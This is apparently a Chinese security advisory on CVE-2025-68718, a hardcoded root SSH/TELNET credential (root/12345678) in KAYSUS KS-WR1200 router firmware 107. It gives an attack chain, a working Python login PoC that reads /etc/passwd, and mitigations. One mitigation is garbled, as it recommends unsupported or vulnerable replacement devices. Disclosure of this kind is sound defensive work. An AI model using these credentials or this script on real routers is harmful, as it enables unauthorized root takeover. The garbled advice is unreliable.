IPBUF安全漏洞报告
English
CVE-2025-68718 CVSS 5.4 中危

CVE-2025-68718 KAYSUS KS-WR1200路由器硬编码Root凭证漏洞

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2025-68718
漏洞类型
硬编码凭证
CVSS评分
5.4 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
KAYSUS KS-WR1200路由器(固件107版本)

相关标签

硬编码凭证默认口令后门路由器漏洞CVE-2025-68718KAYSUS KS-WR1200SSHTELNETIoT漏洞网络设备安全

漏洞概述

CVE-2025-68718是发生在KAYSUS KS-WR1200无线路由器上的严重安全漏洞。该漏洞存在于固件版本107中,设备在LAN接口上暴露了SSH和TELNET远程管理服务,而这些服务使用了硬编码的root账户凭证(用户名:root,密码:12345678)。更严重的是,设备管理员无法通过管理界面禁用这些服务,也无法更改这个硬编码的密码——即使在GUI中修改了管理密码,也不会影响SSH和TELNET的身份验证过程。这意味着任何能够接入局域网的用户,无论是合法用户还是攻击者,都可以利用这组公开的默认凭证以root权限登录到路由器设备。获取root访问权限后,攻击者可以完全控制路由器,执行任意命令,修改网络配置,嗅探传输数据,甚至将设备变成僵尸网络的一部分。由于该漏洞不需要任何认证即可利用,且攻击向量为邻接网络,因此处于同一物理或逻辑网络段的攻击者可以轻松发起攻击。CVSS 3.1评分5.4,中危级别,主要影响机密性和完整性。

技术细节

KAYSUS KS-WR1200路由器固件107版本存在硬编码凭证漏洞。设备在LAN接口上默认启用了SSH(端口22)和TELNET(端口23)服务,用于远程管理。这些服务在系统初始化时加载了一个硬编码的root账户,其凭证为root:12345678,该凭证被编译进固件中且无法通过正常途径修改。技术层面分析:1. 硬编码凭证存储:root账户信息以明文或简单加密形式存储在固件配置文件中,系统启动时自动加载到认证模块。2. 认证绕过机制:SSH和TELNET服务使用独立的认证系统,与Web管理界面的密码系统相互独立,因此即使管理员更改了Web管理密码,SSH/TELNET的root凭证保持不变。3. 服务不可禁用的设计缺陷:管理GUI中没有提供禁用SSH/TELNET服务的选项,管理员无法通过官方途径关闭这些高危服务。4. 攻击利用方式:攻击者只需使用SSH客户端或TELNET客户端连接目标路由器LAN IP,使用凭证root/12345678即可获取root shell。获取root权限后,攻击者可以执行任意系统命令、修改路由表、捕获网络流量、安装后门等。

攻击链分析

STEP 1
步骤1
攻击者接入目标路由器的局域网(通过有线连接、WiFi接入或ARP欺骗等方式)
STEP 2
步骤2
使用nmap等工具扫描LAN网段,发现开放22端口(SSH)和23端口(TELNET)的KAYSUS KS-WR1200路由器
STEP 3
步骤3
使用硬编码凭证root/12345678通过SSH或TELNET协议连接目标路由器
STEP 4
步骤4
成功认证后获取root shell权限,可执行任意系统命令
STEP 5
步骤5
攻击者可进行持久化控制(植入后门)、流量劫持、修改DNS配置、部署恶意固件等操作
STEP 6
步骤6
将路由器纳入僵尸网络,或作为跳板进一步攻击内网其他设备

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-68718 PoC - KAYSUS KS-WR1200 Hardcoded Root Credentials This PoC demonstrates exploitation of hardcoded SSH/TELNET credentials on KAYSUS KS-WR1200 routers. """ import socket import paramiko import sys from getpass import getpass def check_ssh_vulnerability(target_ip, username='root', password='12345678'): """ Attempt SSH connection using hardcoded credentials """ print(f"[*] Attempting SSH connection to {target_ip}...") print(f"[*] Using credentials: {username}/{password}") try: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(target_ip, port=22, username=username, password=password, timeout=10) print("[+] SSH connection successful! Authenticated as root.") # Execute test command stdin, stdout, stderr = ssh.exec_command('cat /etc/passwd') print("[+] Root access confirmed - /etc/passwd contents:") print(stdout.read().decode()) ssh.close() return True except paramiko.AuthenticationException: print("[-] Authentication failed") return False except socket.timeout: print("[-] Connection timeout - SSH service may not be available") return False except Exception as e: print(f"[-] Connection error: {str(e)}") return False def check_telnet_vulnerability(target_ip, username='root', password='12345678'): """ Attempt TELNET connection using hardcoded credentials """ print(f"\n[*] Attempting TELNET connection to {target_ip}...") print(f"[*] Using credentials: {username}/{password}") try: import telnetlib tn = telnetlib.Telnet(target_ip, 23, timeout=10) # Wait for login prompt tn.read_until(b'login: ', timeout=5) tn.write(username.encode() + b'\n') # Wait for password prompt tn.read_until(b'Password: ', timeout=5) tn.write(password.encode() + b'\n') # Check for successful login result = tn.read_until(b'#', timeout=5) if b'#' in result or b'$' in result: print("[+] TELNET connection successful! Authenticated as root.") tn.write(b'id\n') print(tn.read_until(b'\n').decode()) tn.close() return True else: print("[-] Authentication failed") tn.close() return False except Exception as e: print(f"[-] TELNET error: {str(e)}") return False if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-68718.py <target_ip>") sys.exit(1) target = sys.argv[1] print(f"[*] CVE-2025-68718 PoC - KAYSUS KS-WR1200 Hardcoded Credentials\n") print(f"[*] Target: {target}\n") # Try SSH ssh_result = check_ssh_vulnerability(target) # Try TELNET telnet_result = check_telnet_vulnerability(target) if ssh_result or telnet_result: print("\n[!] VULNERABLE - Hardcoded credentials are valid!") sys.exit(0) else: print("\n[-] Target may not be vulnerable or service not available") sys.exit(1)

影响范围

KAYSUS KS-WR1200 固件 107

防御指南

临时缓解措施
由于该漏洞存在于固件层面且管理员无法通过管理界面禁用受影响服务,建议采取以下临时缓解措施:1. 在网络边界防火墙或交换机上配置访问控制列表(ACL),阻止非授权用户访问路由器的22和23端口;2. 将路由器置于独立的VLAN中,限制可访问设备的用户范围;3. 监控网络流量和SSH/TELNET登录日志,及时发现未授权访问尝试;4. 考虑更换为已停止支持或存在已知漏洞的设备,使用有安全维护保障的其他品牌路由器替代;5. 如业务允许,关闭路由器的远程管理功能,仅允许通过本地console口管理。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表